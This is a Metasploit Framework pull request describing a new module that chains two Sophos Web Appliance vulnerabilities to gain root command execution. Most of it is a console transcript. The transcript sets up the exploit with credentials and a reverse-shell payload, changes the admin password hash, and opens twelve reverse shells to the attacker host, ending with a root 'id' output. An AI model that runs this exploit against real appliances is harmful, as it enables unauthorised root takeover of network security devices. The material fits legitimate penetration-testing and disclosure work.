rapid7/metasploit-framework — pull request #3208 by brandonprry (2014-04-09 02:27:02+00:00)
Title: Sophos Web Appliance Privilege Escalation and Remote Code Execution Vulnerability

This module exploits both bugs in http://www.zerodayinitiative.com/advisories/ZDI-14-069/ to achieve remote command execution as root.

pcap of below shell is here: http://volatileminds.net/sophos_pcap2. It is over SSL until the very end, where I type 'id' and it returns the results (root, w00t).

For some reason, it pops like 10 shells. I'm not complaining.

```
bperry@w00den-pickle:~/Projects/metasploit-framework$ ./msfconsole

______________________________________________________________________________
| |
| 3Kom SuperHack II Logon |
|______________________________________________________________________________|
| |
| |
| |
| User Name: [ security ] |
| |
| Password: [ ] |
| |
| |
| |
| [ OK ] |
|______________________________________________________________________________|
| |
| http://metasploit.pro |
|______________________________________________________________________________|

=[ metasploit v4.9.0-dev [core:4.9 api:1.0] ]
+ -- --=[ 1273 exploits - 691 auxiliary - 201 post ]
+ -- --=[ 330 payloads - 32 encoders - 8 nops ]

msf > use exploit/linux/http/sophos_wpa_iface_exec
msf exploit(sophos_wpa_iface_exec) > set USERNAME username
USERNAME => username
msf exploit(sophos_wpa_iface_exec) > set PASSWORD password
PASSWORD => password
msf exploit(sophos_wpa_iface_exec) > set RHOST 192.168.1.16
RHOST => 192.168.1.16
msf exploit(sophos_wpa_iface_exec) > set LHOST 192.168.1.31
LHOST => 192.168.1.31
msf exploit(sophos_wpa_iface_exec) > set PAYLOAD cmd/unix/reverse
PAYLOAD => cmd/unix/reverse
msf exploit(sophos_wpa_iface_exec) > show options

Module options (exploit/linux/http/sophos_wpa_iface_exec):

Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD password yes The password to authenticate with
Proxies no Use a proxy chain
RHOST 192.168.1.16 yes The target address
RPORT 443 yes The target port
TARGETURI / yes The target URI
USERNAME username yes The username to authenticate as
VHOST no HTTP server virtual host

Payload options (cmd/unix/reverse):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.1.31 yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
0 Sophos Web Protection Appliance 3.8.1.1

msf exploit(sophos_wpa_iface_exec) > exploit

[*] Started reverse double handler
[*] Getting STYLE key...
[*] Authenticating as username
[*] Changing old password hash to notpassword
[*] Logging in as the admin now
[*] Sending payload
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 13qzy5gOZp90ddaj;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "13qzy5gOZp90ddaj\r\n"
[*] Matching...
[*] A is input...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command shell session 1 opened (192.168.1.31:4444 -> 192.168.1.16:47975) at 2014-04-08 21:09:23 -0500
[*] Command: echo NeTy9XpwVlEqfopW;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "NeTy9XpwVlEqfopW\r\n"
[*] Matching...
[*] A is input...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command shell session 2 opened (192.168.1.31:4444 -> 192.168.1.16:47977) at 2014-04-08 21:09:24 -0500
[*] Command: echo yqZY427RE5DoWwNT;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "yqZY427RE5DoWwNT\r\n"
[*] Matching...
[*] A is input...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command shell session 3 opened (192.168.1.31:4444 -> 192.168.1.16:47979) at 2014-04-08 21:09:26 -0500
[*] Command: echo XHCTDHr3EdXNb11N;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "XHCTDHr3EdXNb11N\r\n"
[*] Matching...
[*] B is input...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command shell session 4 opened (192.168.1.31:4444 -> 192.168.1.16:47982) at 2014-04-08 21:09:27 -0500
[*] Command: echo Pf9Zz0k7MkvcAZoX;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "Pf9Zz0k7MkvcAZoX\r\n"
[*] Matching...
[*] A is input...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command shell session 5 opened (192.168.1.31:4444 -> 192.168.1.16:47983) at 2014-04-08 21:09:28 -0500
[*] Command: echo CclsHxra4R71s1tr;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "CclsHxra4R71s1tr\r\n"
[*] Matching...
[*] B is input...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command shell session 6 opened (192.168.1.31:4444 -> 192.168.1.16:47986) at 2014-04-08 21:09:29 -0500
[*] Command: echo l7IVRHkuZdriiEvP;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "l7IVRHkuZdriiEvP\r\n"
[*] Matching...
[*] B is input...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command shell session 7 opened (192.168.1.31:4444 -> 192.168.1.16:47988) at 2014-04-08 21:09:31 -0500
[*] Command: echo xWCPUPymDFn1VuxO;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "xWCPUPymDFn1VuxO\r\n"
[*] Matching...
[*] A is input...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command shell session 8 opened (192.168.1.31:4444 -> 192.168.1.16:47989) at 2014-04-08 21:09:32 -0500
[*] Command: echo 7rFfJS056EUcANWh;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "7rFfJS056EUcANWh\r\n"
[*] Matching...
[*] B is input...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command shell session 9 opened (192.168.1.31:4444 -> 192.168.1.16:47992) at 2014-04-08 21:09:33 -0500
[*] Command: echo PRr6YmvS62Kvp5tc;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "PRr6YmvS62Kvp5tc\r\n"
[*] Matching...
[*] A is input...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command shell session 10 opened (192.168.1.31:4444 -> 192.168.1.16:47993) at 2014-04-08 21:09:35 -0500
[*] Command: echo FpXLxteg6oWmqGDJ;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "FpXLxteg6oWmqGDJ\r\n"
[*] Matching...
[*] B is input...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command shell session 11 opened (192.168.1.31:4444 -> 192.168.1.16:47996) at 2014-04-08 21:09:36 -0500
[*] Command: echo kLkmX63FQallRZ3D;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "kLkmX63FQallRZ3D\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 12 opened (192.168.1.31:4444 -> 192.168.1.16:47998) at 2014-04-08 21:09:37 -0500

id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)

```